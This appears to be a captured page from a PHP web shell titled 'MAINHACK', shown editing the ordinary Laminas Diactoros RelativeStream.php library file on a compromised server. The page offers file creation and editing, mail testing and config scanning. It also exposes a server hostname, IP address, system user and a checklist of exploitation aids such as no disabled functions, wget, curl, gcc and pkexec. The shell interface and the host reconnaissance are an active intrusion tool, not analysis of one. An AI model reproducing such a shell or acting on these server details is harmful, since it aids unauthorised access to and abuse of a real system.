[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: RelativeStream.php
<?php declare(strict_types=1); namespace Laminas\Diactoros; use Psr\Http\Message\StreamInterface; use Stringable; use const SEEK_SET; /** * Wrapper for default Stream class, representing subpart (starting from given offset) of initial stream. * It can be used to avoid copying full stream, conserving memory. * * @see AbstractSerializer::splitStream() */ final class RelativeStream implements StreamInterface, Stringable { private int $offset; public function __construct(private StreamInterface $decoratedStream, ?int $offset) { $this->offset = (int) $offset; } /** * {@inheritdoc} */ public function __toString(): string { if ($this->isSeekable()) { $this->seek(0); } return $this->getContents(); } /** * {@inheritdoc} */ public function close(): void { $this->decoratedStream->close(); } /** * {@inheritdoc} */ public function detach() { return $this->decoratedStream->detach(); } /** * {@inheritdoc} */ public function getSize(): int { return $this->decoratedStream->getSize() - $this->offset; } /** * {@inheritdoc} */ public function tell(): int { return $this->decoratedStream->tell() - $this->offset; } /** * {@inheritdoc} */ public function eof(): bool { return $this->decoratedStream->eof(); } /** * {@inheritdoc} */ public function isSeekable(): bool { return $this->decoratedStream->isSeekable(); } /** * {@inheritdoc} */ public function seek(int $offset, int $whence = SEEK_SET): void { if ($whence === SEEK_SET) { $this->decoratedStream->seek($offset + $this->offset, $whence); return; } $this->decoratedStream->seek($offset, $whence); } /** * {@inheritdoc} */ public function rewind(): void { $this->seek(0); } /** * {@inheritdoc} */ public function isWritable(): bool { return $this->decoratedStream->isWritable(); } /** * {@inheritdoc} */ public function write(string $string): int { if ($this->tell() < 0) { throw new Exception\InvalidStreamPointerPositionException(); } return $this->decoratedStream->write($string); } /** * {@inheritdoc} */ public function isReadable(): bool { return $this->decoratedStream->isReadable(); } /** * {@inheritdoc} */ public function read(int $length): string { if ($this->tell() < 0) { throw new Exception\InvalidStreamPointerPositionException(); } return $this->decoratedStream->read($length); } /** * {@inheritdoc} */ public function getContents(): string { if ($this->tell() < 0) { throw new Exception\InvalidStreamPointerPositionException(); } return $this->decoratedStream->getContents(); } /** * {@inheritdoc} */ public function getMetadata(?string $key = null) { return $this->decoratedStream->getMetadata($key); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.71 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002